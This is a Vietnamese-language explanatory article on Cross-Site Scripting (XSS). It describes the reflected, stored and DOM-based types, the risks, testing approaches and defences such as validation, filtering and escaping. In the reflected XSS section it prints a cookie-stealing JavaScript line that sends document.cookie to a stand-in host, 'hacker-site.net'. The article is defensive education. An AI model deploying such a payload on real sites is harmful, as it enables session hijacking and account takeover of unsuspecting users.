XSS được coi là một phương thức tấn công phổ biến làm đau đầu với những người làm trong lĩnh vực IT. Vậy XSS là gì và làm sao để bảo vệ hệ thống dữ liệu? Hãy cùng tìm hiểu trong bài viết dưới đây để có câu trả lời nhé.
Lỗ hổng XSS là gì?
XSS (Cross Site Scripting) là một loại tấn công bảo mật phổ biến xảy ra trong hệ thống website mà hầu hết những tester có kinh nghiệm đều biết. XSS được coi là một trong những loại tấn công nguy hiểm nhất đối với các ứng dụng web và có thể gây ra hậu quả nghiêm trọng.
Giới thiệu về tấn công XSS: Tấn công XSS là sử dụng một đoạn mã độc để khai thác một lỗ hổng XSS. Các hacker sẽ chèn mã độc thông qua các đoạn script để thực thi chúng trên Client. Các cuộc tấn công XSS thường để vượt qua truy cập và mạo danh người dùng.
Mục đích chính của cuộc tấn công XSS là lấy cắp các dữ liệu để nhận dạng của người dùng như: tokens, cookies và các thông tin khác. Trong đó, lấy cắp cookies là trường hợp phổ biến nhất.
Như chúng ta biết, cookie giúp cho việc đăng nhập tự động. Do đó, khi lấy được cookies thì chúng sẽ thực hiện đăng nhập với những thông tin nhận dạng khác. Và đây là một trong những nguyên nhân khiến cho XSS được coi là một trong những loại tấn công nguy hiểm nhất.
Tấn công XSS đang được thực hiện ở phía client và bởi các ngôn ngữ lập trình phía client khác nhau. Tuy nhiên, ngôn ngữ Javascript và HTML được dùng phổ biến nhất.
Như đã trình bài ở trên, tấn công XSS được thực hiện ở phía Client với nhiều ngôn ngữ lập trình khác nhau. Nhiều nhất là sử dụng Javascript và HTML. Vậy cuộc tấn công diễn XSS sẽ ra như thế nào?
Diễn biến của một cuộc tấn công XSS
Trên thực tế, tấn công Cross Site Scripting được thực hiện thông qua nhiều cách khác nhau. Trong đó chủ yếu phụ thuộc vào các loại tấn công XSS. Các mã độc có thể phản chiếu ở trong trình duyệt hệ thống hoặc lưu trữ ở cơ sở dữ liệu. Mã độc sẽ được kích hoạt một khi người dùng gọi một chức năng thích hợp.
Tấn công XSS có nguyên nhân chính là xác thực đầu vào dữ liệu người dùng không phù hợp. Dữ liệu đầu ra bị xâm lấn bởi dữ liệu độc hại ở đầu vào.
Mã độc có thể nhập một Script rồi chèn vào mã nguồn website mà trình duyệt của người dùng cũng không để biết mã thực thi có độc hay không. Như vậy, mã độc trong cuộc tấn công XSS được thực thi trên trình duyệt hoặc thông qua bất cứ hình thức giả nào đang được hiển thị mà người dùng không hề hay biết.
Các hình thức tấn công XSS cơ bản
Hiện nay, có rất nhiều hình thức tấn công XSS để đánh cắp thông tin, dữ liệu. Trong đó, bạn có thể tham khảo một số hình thức XSS phổ biến nhất như sau:
- Cuộc tấn công XSS xảy ra ở trên các lệnh độc hại được thực hiện ở Client
- Quảng cáo được hiển thị ở các trang web mà người dùng truy cập vào.
- Những website hoặc form giả mạo hiển thị cho người dùng. Những nơi mà người dùng nhập thông tin đăng nhập hoặc là nhấp vào các liên kết độc hại không rõ.
- Email chứa mã độc hại gửi đến cho người dùng. Các cuộc tấn công XSS sẽ xảy ra một khi tin tặc tìm kiếm những lỗ hổng trong Website và gửi nó làm đầu vào. Khi đó, các tập lệnh độc hại gửi đi dưới dạng đầu ra cho các đối tượng người dùng cuối cùng.
3 loại tấn công XSS
Tấn công Reflected XSS
Có nhiều cách khác nhau để khai thác thông tin, dữ liệu thông qua lỗi Reflected XSS. Reflected XSS sẽ chiếm phiên việc làm (Session) của người dùng. Từ đó, Hacker có thể truy cập được vào dữ liệu và dễ dàng chiếm quyền của người dùng trên website. Quá trình diễn ra như sau:
Người dùng đăng nhập vào trang web với session như sau: “Set-Cookie:sesld=5e2c648fa5ef8d653adeede585dcde6f638639e4e59d4”
Bằng một cách nào đó, gửi đến cho người dùng một đường dẫn Url nhất định. Trong Url chứa tên website mà nạn nhân truy cập và phía sau kèm theo trang của hacker tạo ra với tên gọi là hackersite.net. Ví dụ như https://abcd.com =”http://hacker-site.net/
Khi người dùng đăng nhập vào url được gửi, hệ thống sẽ ngay lập tức phản hồi cho người dùng kèm theo những dữ liệu có trong đoạn Javascript của hacker.
Lúc này trình duyệt của người dùng bắt đầu phản hồi và thực thi đoạn Javascript. Đoạn Javascript được hacker tạo ra đa phân sẽ có dạng như sau: var i =new Image;i.src=”http://hacker-site.net/” +document.cookie; Các dòng lệnh trên thực tế thực hiện request đến website hacker với tham số cookie người dùng.
Hacker sẽ nắm được những nội dung cụ thể mà bản thân request được ở trên. Coi như các session của người dùng đã bị chiếm đóng. Từ đó, các hacker có thể giả mạo tư cách người dùng để thực hiện quyền truy cập vào website mà người dùng đang truy cập.
Tấn công Stored XSS
Không giống như Reflected XSS thực hiện tấn công trực tiếp đến hệ thống website người dùng đang truy cập, Stored XSS là sẽ trấn áp đến nhiều hệ thống người dùng. Lỗi này hầu hết sẽ xảy ra ở trường hợp ứng dụng web không kiểm tra kỹ lưỡng dữ liệu đầu vào trước khi lưu vào cơ sở dữ liệu. Ví dụ như những form góp ý hay các comment đóng góp trên website.
Diễn biến cuộc tấn công Stored XSS như sau:
Đối với loại tấn công Stored các hacker thực hiện tối thiểu qua 2 bước như sau:
- Đầu tiên Hacker thông qua các điểm đầu vào như textarea, form, input,… không được thực hiện kiểm tra kỹ lưỡng để chèn mã độc vào.
- Khi truy cập website, một khi người dùng tiến hành thao tác liên quan đến dữ liệu này thì các đoạn mã độc sẽ được thực thi. Quá trình thực thi sẽ được thực hiện trên trình duyệt của người dùng.
So với Reflected XSS thì Stored XSS được đánh giá có mức độ nguy hiểm hơn rất nhiều. Đối tượng bị ảnh hưởng có thể là tất cả những người dùng ứng dụng web đó. Nếu nạn nhân là quản trị viên thì còn có nguy cơ bị chiếm quyền vận hành website.
Sự khác biệt giữa Reflected XSS và Stored XSS
Hai loại tấn công này thực tế sự khác biệt về quá trình thực hiện:
- Reflected XSS thì hacker cần phải lừa được người dùng truy cập vào đường dẫn mà mình đã gửi. Còn Stored XSS không cần phải chèn được mã độc hại vào cơ sở dữ liệu ứng dụng hacker chỉ cần đời người dùng tự động truy cập do họ không biết đang truy cập vào mã độc.
Hầu hết mục đích chính của hacker là lấy được các dữ liệu thông tin. Đối với Reflected XSS thì hacker lừa người dùng đăng nhập rồi truy cập vào đường dẫn đã cung cấp. Tuy nhiên với Stored XSS thì độc hại đã được lưu ở trong cơ sở dữ liệu website nên bất kỳ khi nào người dùng truy cập đều kích hoạt thực thi mã độc. Đồng thời, mã độc cũng có khả năng yêu cầu người dùng xác nhận trước khi đăng nhập.
Tấn công DOM Based XSS
DOM Based XSS được xem là kỹ thuật khai thác XSS dựa vào cơ sở thay đổi những cấu trúc DOM của tài liệu. Cụ thể là mã HTML.
Ví dụ cụ thể như sau:
Giả sử như một website có đường dẫn đăng ký với một form bình thường. Bởi vậy, người dùng sẽ không nghi ngờ mà chủ động điền các thông tin trong form. Tuy nhiên, Script sẽ ngay lập tức thực thi vào cơ sở dữ liệu, thông tin hệ thống đã bị hack. Chỉ cần dùng DOM Based XSS các hacker đã có thể nhanh chóng xâm nhập vào hệ thống để chiếm đoạt các thông tin cần thiết..
Đó là lý do mà DOM Based XSS cũng được coi là hình thức tấn công vô cùng nguy hiểm. Bạn có thể tham khảo kịch bản tấn công trong hình dưới đây:
Mối nguy hiểm của XSS với Javascript
Lỗ hổng bảo mật XSS được xem là không nguy hiểm bằng so với lỗ hổng SQL Injection. Hầu hết trình duyệt chạy Javascript trong môi trường được kiểm soát bảo mật chặt chẽ. Hậu quả của việc thực thi Javascript trên một nền tảng website ban đầu bạn nghĩ có vẻ không nghiêm trọng. Javascript bị giới hạn quyền truy cập tới hệ điều hành người dùng cùng các file dữ liệu người dùng. Tuy nhiên, Javascript vẫn có thể cực kỳ nguy hiểm nếu như nó bị lạm dụng trở thành các đoạn mã độc hại.
- Javascript có thể đọc DOM và tạo ra các chỉnh sửa tùy trên website.
- Javascript độc hại có thể truy cập đến các phần còn lại của trang web có thể truy cập tới, bao gồm cả Cookie người dùng. Nếu kẻ tấn công có được Session người dùng thì sẽ có thể giả mạo danh người dùng thực sự. Sau đó, hacker thực hiện các hành động như xâm phạm dữ liệu nhạy cảm người dùng trên website đó.
- Javascript có thể dùng Object XMLHttpRequest gửi truy vấn HTTP cùng các nội dung tùy ý tới điểm đích.
- Trong các trình duyệt hiện đại, Javascript có thể sử dụng HTML5 APIs. Nó có thể truy cập đến vị trí của người dùng, microphone, webcam thậm chí là các file dữ liệu cụ thể ở hệ điều hành của người dùng. Hệ thống API đều yêu cầu cấp quyền truy cập từ người dùng nhưng để tiến xa hơn thì kẻ tấn công có thể dùng Social Engineering.
Cách phát hiện tấn công XSS
Để kiểm tra xem các hacker có tấn công XSS vào hệ thống hay không thì bạn hãy áp dụng cách kiểm tra thử hộp đen trước. Tức là chúng ta sẽ thực hiện test mà không xem xét đến code. Tất nhiên, việc kiểm tra code luôn được các chuyên gia bảo mật khuyến khích vì nó mang đến kết quả đáng tin cậy hơn.
Trong quá trình kiểm tra thử, các tester nên xem xét những phần nào của website có khả năng bị tấn công bởi XSS. Từ đó, bạn liệt kê toàn bộ những nghi ngờ thành một tài liệu kiểm thử để giảm thiểu tối đa những sai sót. Sau đó, bạn lên kế hoạch kiểm tra. Trong đó điều quan trọng là kết quả liệu có ý nghĩa gì, ứng dụng ấy dễ bị lỗ hổng hay không và phân tích kết quả sao cho kỹ càng nhất để hạn chế những cuộc tấn công.
Trong khi thực hiện kiểm thử các cuộc tấn công, bạn cần lưu ý kiểm tra xem nó đáp ứng như thế nào đối với những kịch bản? Liệu các kịch bản ấy có thể được thực thi trong thực tế hay không?
Cách ngăn chặn tấn công XSS
Hiện nay, có khá nhiều cách để ngăn chặn các cuộc tấn công XSS. Trong đó, điển hình như Data Validation, Filtering, Escaping,..
Xác thực đầu vào Data Validation
Cách ngăn chặn tấn công XSS đầu tiên bạn cần thực hiện đó là xác thực đầu vào. Tất cả những thông tin được nhập bởi người dùng phải được xác minh chính xác. Bởi vì dữ liệu đầu vào sẽ tác động trực tiếp đến đầu ra.
Việc xác thực dữ liệu đầu vào có thể được đặt tên làm cơ sở dữ liệu và đảm bảo về tính bảo mật của hệ thống dữ liệu đó. Tuy nhiên, bạn nên lưu ý việc này cũng chỉ góp phần làm giảm thiểu rủi ro chứ không thể ngăn chặn triệt để lỗ hổng mà sự tấn công XSS gây ra.
Lọc đầu vào Filtering
Một phương pháp nữa bạn cũng có thể áp dụng để ngăn chặn tấn công XSS đó là lọc đầu vào của người dùng. Cụ thể là thực hiện tìm kiếm những từ khóa nguy hiểm ở mục nhập của người dùng. Sau đó bạn đem xóa hoặc thay thế chúng bằng chuỗi trống. Các từ đó có thể sẽ là những thẻ như script, lệnh javascript, đánh dấu HTML,…
Việc lọc đầu vào của người dùng này cũng dễ thực hiện. Bạn hoàn toàn có thể áp dụng khoa nhiều cách khác nhau như:
- Thực hiện bởi Developer viết mã ở server: Một số Developer có thể viết mãi riêng để tìm kiếm những từ khóa thích hợp và xóa hoặc thay thế chúng.
- Thông qua hệ thống thư viện ngôn ngữ lập trình thích hợp mà người dùng đang sử dụng: Các chuyên gia gợi ý bạn nên chọn thư viện ngôn ngữ lập trình thích hợp để lọc đầu vào. Cách này đáng tin cậy vì các thư viện đó thực tế đã được nhiều nhà phát triển áp dụng và thử nghiệm.
Dùng các ký tự Escape
Ngoài ra, để phòng tránh quá trình tấn công của XSS thì bạn cũng có thể áp dụng các ký tự Escape. Hiện nay, đa phần những ký tự Escape đang được thay đổi bằng các mã đặc biệt. Ví dụ ký tự Escape giống như & # 60. Điều quan trọng là bạn làm sao để tìm kiếm các thư viện thích hợp với ký tự Escape để thực hiện.
Liệu XSS có phải vấn đề mà bạn cần quan tâm?
Nếu hacker lạm dụng lỗ hổng XSS trên bất kỳ trang web để thực thi mã Javascript tùy ý ở trình duyệt người dùng thì ứng dụng đó và người dùng đều bị xâm hại.
Tương tự như những lỗ hổng bảo mật khác, XSS không phải là vấn đề của người dùng. Nếu nó tác động đến người dùng của bạn thì nó đang ảnh hưởng tới bạn.
XSS cũng được dùng để deface website thay vì nhắm đến mục tiêu người dùng. Kẻ tấn công dùng những đoạn mã để thay đổi nội dung của trang web hoặc thậm chí chuyển hướng trình duyệt tới một website khác mà họ mong muốn để đạt được một mục đích nào đó.
Trên đây là thông tin chi tiết xung quanh XSS. Hy vọng rằng qua bài viết này bạn sẽ hiểu được thêm về lỗ hổng XSS và cách ngăn chặn chúng.